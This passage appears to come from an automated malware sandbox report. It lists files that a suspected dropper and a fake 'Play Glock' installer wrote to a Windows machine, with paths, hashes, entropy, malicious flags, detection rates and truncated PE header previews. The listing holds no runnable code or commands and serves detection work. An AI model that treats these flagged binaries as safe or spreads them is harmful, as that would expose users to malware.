Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...~..f...............(..+...................,...@.......................................@... .........................B....................................@...;..........................$........................................................text.....+.......+.................`..`.data.....g...,...g...,.............@....rdata..T.... ......................@..@.eh_fram.!......."..................@..@.bss....t...............................edata..B..........................@..@.idata.............................@....CRT....0.... ......................@....tls.........0.....................@....reloc...;...@...<.................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\CheckTool[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6129152
Entropy (8bit):	6.456806489633868
Encrypted:	false
SSDEEP:	49152:yLlt90ZzSvd+rMdmBcHF4mL8jIr1zrAwZK7eFiDrHb2rjPNtBO6NuxpGh5pFN7nM:klt9b+mV8ju1zJU6NuUpFN7nKGh39
MD5:	447DE2327DC8ECD4830023A7D6C8ED64
SHA1:	5728F8C965AC1E71D373FEEDAFDFD5B4528DD8EF
SHA-256:	4F05A7585561EB31272758ECF586E5DCBE1B1064A4F59F9E1189B5A6DBABF90B
SHA-512:	9D3B8BAF0353C97E191EF6B546E101129C86720A6EF19FEBEB3C4E451E25E0F8A327FD69B73846F8A01306875B6B19A1717B45E6D1B5D9584155EA31F25AC551
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........\...............)..........)........V...@...........................`......;^...@..................................p].L....._.......................].......................................................V..............................text.....).......)................. ..`.rdata... -...).."-...).............@..@.data.........V.......V.............@....idata..L....p]......\|Z.............@....reloc........].......Z.............@..B.symtab......._.......\................B.rsrc........._.......\.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\stories[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3128802
Entropy (8bit):	7.997337285515625
Encrypted:	true
SSDEEP:	49152:1vvO4kvSqnqU575OX4kfQgcroMu5tqP7XLMa9ioa/k+7t9XoDl0J4wsTy9TyVYvC:NvwIs5OX9QzoMpDXLMudaF946JdsmNvC
MD5:	569BDA6BDE88B1E2DFEB814608202480
SHA1:	93A9E1513FD2F9797EE4939CFB705D697774652D
SHA-256:	22DBDD7FD3DCF6ED7C4326654F16371000C1DF848B1703C65F9ECB09E157E6C5
SHA-512:	73D9E2E4A4330F00EB273705068F7D2CE6D5E5072FE4A8780475D0FE6874DA6F1F58E2EB9DAEBBCC97429679D82634E47A6F4FDC3837189BA4C8DFB35119DD6B
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......@.............@..........................@...................@..............................P........,..........................................................................................................CODE....d........................... ..`DATA....L...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\univ[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	331776
Entropy (8bit):	7.195615791858742
Encrypted:	false
SSDEEP:	6144:Nhe6zXvFI1coMwRmnOYtKJzUyh8QB6Iy+1I0NHnS/:NNbvFtcKeUyh8a63+1I8
MD5:	83766CED82D461DE3D8D68E0B07762B8
SHA1:	F040642E544F33054EC425A6A7C5C60DD071D664
SHA-256:	022326B50FF5CA67D60C2ABB4BB22639A1408820AC54EAA21DA8013A8A875B29
SHA-512:	82A616E873B0C28DA7D220A2DADC9A18A111232E271236E3930BEFD6495BFBBCB02A495D1AF76E615DFC41C08AC22C2684DDD3CCB327C4B9EA97972D4D95F0A6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s.<...o...o...o.dio...o.d\o...o.dho...o.jQo...o...o4..o.dmo...o.dXo...o.d_o...oRich...o........PE..L......e.....................t......].............@..........................0.............................................\|...x.... ..................................................................@............................................text...4........................... ..`.data...(].......\..................@....rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.773832331134527
Encrypted:	false
SSDEEP:	3:Nlllul6t:NllU+
MD5:	390FFB20C1750C4CBFD8C657CB8019BC
SHA1:	84B8336461B630BC8CA47C4E0B2C759FA83688C3
SHA-256:	23840C235A0F43BAE0CFB3A7D033D3E8ACAA5FD8ADD53D9C3724A98588811475
SHA-512:	3CA7FC57A368C06BD1A5E7CE7635E36390C7448BEBD8A59487C25AEE90A77320BA8D65AB8B7478C28209BF5D4C968F4AFA90B9164DC149FD2118DF0ECEA5FC71
Malicious:	false
Preview:	@...e...................................8.......................

C:\Users\user\AppData\Local\Play Glock\Qt5OpenGL.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	334848
Entropy (8bit):	6.5257884005400015
Encrypted:	false
SSDEEP:	6144:JmuFcP82IqE5RSbvQpYVgMW2i32blpDW2pmoZ1:JmuFc02IqE7SbLVgR1O
MD5:	C1D465E061D7D02895DAEB19BDB28AC9
SHA1:	5E729EE51DF080545C7031D771B85094A2B2D4E9
SHA-256:	777917D30F277A9E88D8FC04E69B955A2B0BD3F2BCF2E36F7F9CFFEF2583EE60
SHA-512:	438ADAA0AC3AD47621D288E3FF56493CC7DE4E2A89FC5420E246A6045DB79E7CB84A28D3F3420841340AB33BD632F12FDC3A4E9D8EF99601CA9F975B7F8309E1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#................ ..............a.................................g........ ......................P..Z........j...p..8.......................d............................`......................@................................text...............................`.P`.data...............................@.0..rdata...s.......t..................@.p@.eh_framD....p.......<..............@.0@.bss....H....@........................p..edata..Z....P......................@.0@.idata...j.......l..................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..rsrc...8....p......................@.0..reloc..d........ ..................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Play Glock\is-5ANFC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Play Glock\is-75FQC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Play Glock\is-86R9G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	334848
Entropy (8bit):	6.5257884005400015
Encrypted:	false
SSDEEP:	6144:JmuFcP82IqE5RSbvQpYVgMW2i32blpDW2pmoZ1:JmuFc02IqE7SbLVgR1O
MD5:	C1D465E061D7D02895DAEB19BDB28AC9
SHA1:	5E729EE51DF080545C7031D771B85094A2B2D4E9
SHA-256:	777917D30F277A9E88D8FC04E69B955A2B0BD3F2BCF2E36F7F9CFFEF2583EE60
SHA-512:	438ADAA0AC3AD47621D288E3FF56493CC7DE4E2A89FC5420E246A6045DB79E7CB84A28D3F3420841340AB33BD632F12FDC3A4E9D8EF99601CA9F975B7F8309E1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#................ ..............a.................................g........ ......................P..Z........j...p..8.......................d............................`......................@................................text...............................`.P`.data...............................@.0..rdata...s.......t..................@.p@.eh_framD....p.......<..............@.0@.bss....H....@........................p..edata..Z....P......................@.0@.idata...j.......l..................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..rsrc...8....p......................@.0..reloc..d........ ..................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Play Glock\is-AQT5U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	data
Category:	dropped
Size (bytes):	2686976
Entropy (8bit):	6.751038526686678
Encrypted:	false
SSDEEP:	49152:zeH5u0a6hd0X890RJJlIgd6Mi60NwZCr2vcx:zb6h6X8ejJlIg4MwNwU
MD5:	3DE3A878C7E52D183C624738BB44E191
SHA1:	7993E112CA1C0E7E10F4493EE7A589672CF050A3
SHA-256:	3C6232A0387252D5C39F31A2B48A71C0804201EDB1430E3B1D3E616AECECC911
SHA-512:	1F0936FE17216F9D0BBD5FD78C7F8C3CC690B8CAA048D1A3E94473B83B10BF3782FBC5FBD096576B2519C4E1CCF914B404B37876D26D640576D45DE844604F43
Malicious:	false
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....L.................."..P.......{"......."...@..........................0).......).......................................".......#..............................................................................."..............................text.....".......".................`....rdata...2...."..@....".............@..@.data...XT... #..0... #.............@....rsrc.........#......P#.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Play Glock\is-IKU3H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	499712
Entropy (8bit):	6.414789978441117
Encrypted:	false
SSDEEP:	12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
MD5:	561FA2ABB31DFA8FAB762145F81667C2
SHA1:	C8CCB04EEDAC821A13FAE314A2435192860C72B8
SHA-256:	DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
SHA-512:	7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:\|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Play Glock\is-IVTOI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348160
Entropy (8bit):	6.542655141037356
Encrypted:	false
SSDEEP:	6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
MD5:	86F1895AE8C5E8B17D99ECE768A70732
SHA1:	D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
SHA-256:	8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
SHA-512:	3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4\|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Play Glock\is-O04L0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542831007177094
Encrypted:	false
SSDEEP:	6144:1eIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbl:1eIwnft+S34NVSTQD+oVbKQfrC/1ct25
MD5:	EE856A00410ECED8CC609936D01F954E
SHA1:	705D378626AEC86FECFDF04C86244006BC3AF431
SHA-256:	B6192300D3C1476EF3C25A368D055AA401035E78F9F6DBE5F93C84D36EF1FA62
SHA-512:	666D731247DAEAE4B57925DFA8CAE845327FD34E0F6B9AAD1BCF471D1800D7E8AF5642A5FB6E0EC58BA3AC7DD98A6D3FE0B473F34C16FFB9985621C98C0463EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L...D.r^...........!.....8..........^7.......P......................................'.....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Play Glock\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Play Glock\libssl-1_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Play Glock\msvcp71.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	499712
Entropy (8bit):	6.414789978441117
Encrypted:	false
SSDEEP:	12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
MD5:	561FA2ABB31DFA8FAB762145F81667C2
SHA1:	C8CCB04EEDAC821A13FAE314A2435192860C72B8
SHA-256:	DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
SHA-512:	7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:\|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Play Glock\msvcr71.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348160
Entropy (8bit):	6.542655141037356
Encrypted:	false
SSDEEP:	6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
MD5:	86F1895AE8C5E8B17D99ECE768A70732
SHA1:	D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
SHA-256:	8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
SHA-512:	3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4\|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2686976
Entropy (8bit):	6.751038713203064
Encrypted:	false
SSDEEP:	49152:keH5u0a6hd0X890RJJlIgd6Mi60NwZCr2vcx:kb6h6X8ejJlIg4MwNwU
MD5:	68B9D34F203BF46CD4771604D15115BD
SHA1:	7366EB4AE060B434582935453FF2B77854F3D082
SHA-256:	A989EE68F0AB5CF327343AE760D4B47A7CA7C41944532205E5BD648B71CF68BE
SHA-512:	366A374B35DBC70BAAFE7C450F2F638D4E18B3A62BE0B5ACF3E0C85D0A21B98CC176B37FDE90AFB00F7A0FFE174D2001985E2CEAA9E0FC7C6D2742AE5FA40B63
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....L.................."..P.......{"......."...@..........................0).......).......................................".......#..............................................................................."..............................text.....".......".................`....rdata...2...."..@....".............@..@.data...XT... #..0... #.............@....rsrc.........#......P#.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Play Glock\ssleay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542831007177094
Encrypted:	false
SSDEEP:	6144:1eIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbl:1eIwnft+S34NVSTQD+oVbKQfrC/1ct25
MD5:	EE856A00410ECED8CC609936D01F954E
SHA1:	705D378626AEC86FECFDF04C86244006BC3AF431
SHA-256:	B6192300D3C1476EF3C25A368D055AA401035E78F9F6DBE5F93C84D36EF1FA62
SHA-512:	666D731247DAEAE4B57925DFA8CAE845327FD34E0F6B9AAD1BCF471D1800D7E8AF5642A5FB6E0EC58BA3AC7DD98A6D3FE0B473F34C16FFB9985621C98C0463EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L...D.r^...........!.....8..........^7.......P......................................'.....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Play Glock\uninstall\is-R79QI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	720373
Entropy (8bit):	6.507169888543066
Encrypted:	false
SSDEEP:	12288:Vhu7eEcdCP8trP837szHUA6JCzS9Ntc3l3ER6orNjURrFDExyFk:nu7eEYCP8trP837szHUA60SLtcV3E9GY
MD5:	7F4F86C20B4CFF7FC4CA22F20D8011C9
SHA1:	D9F6675B1F13E53CCA4F752A5F7620C3FAF44BB9
SHA-256:	C2CEA37B64EFD3B8B06502C1B4DCAC2AD84D117BB03845CF4EFDFE80315E9380
SHA-512:	9F4C46280AB5AF49D75F9C26EA737CC4E017FD5261663D3E990F93E5A36CCAB03CA0F6243DFDC6A2CD4A27B7865E1B44B806A9EB230CFEE9B4AA0F0CFD924377
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................x..........x.............@..............................................@...............................%..................................................................................................................CODE.....w.......x.................. ..`DATA.................\|..............@...BSS.....l................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc....... ......................@..P.rsrc...............................@..P.....................^..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Play Glock\uninstall\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	InnoSetup Log Play Glock, version 0x30, 4401 bytes, 675052\user, "C:\Users\user\AppData\Local\Play Glock"
Category:	dropped
Size (bytes):	4401
Entropy (8bit):	4.578416733437502
Encrypted:	false
SSDEEP:	96:uEsG8Wrjv88opjcUgP9vX+eOIhQcgx4cVSQs0LxWHRgOzClQlS98suM:uW8Wrb8DpjcnuHIhQc5cVSQ1xWxgOzCR
MD5:	7F7A30F280FE6047E024D83BD2C2CB19
SHA1:	ED6194454E1572E061CE412832979701D69C378D
SHA-256:	98A90D9B8AC38FE9D0134222A6933F7D955A60243AE00155DD03ED953B2F807E
SHA-512:	92779336B64B790478091FEE46A62DCB7E218D7A715F8FCB1C38A14A4DEB29FCC81E438666A1C60749A3207ADBE6BE70FB69BE2BD88D4962EDD7F9E0CB02421B
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................Play Glock......................................................................................................................Play Glock......................................................................................................................0.......1...%...............................................................................................................J..e.......dv.y......E....675052.user&C:\Users\user\AppData\Local\Play Glock...........5. .?.. .....X......IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User32.dll.GetSys

C:\Users\user\AppData\Local\Play Glock\uninstall\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	720373
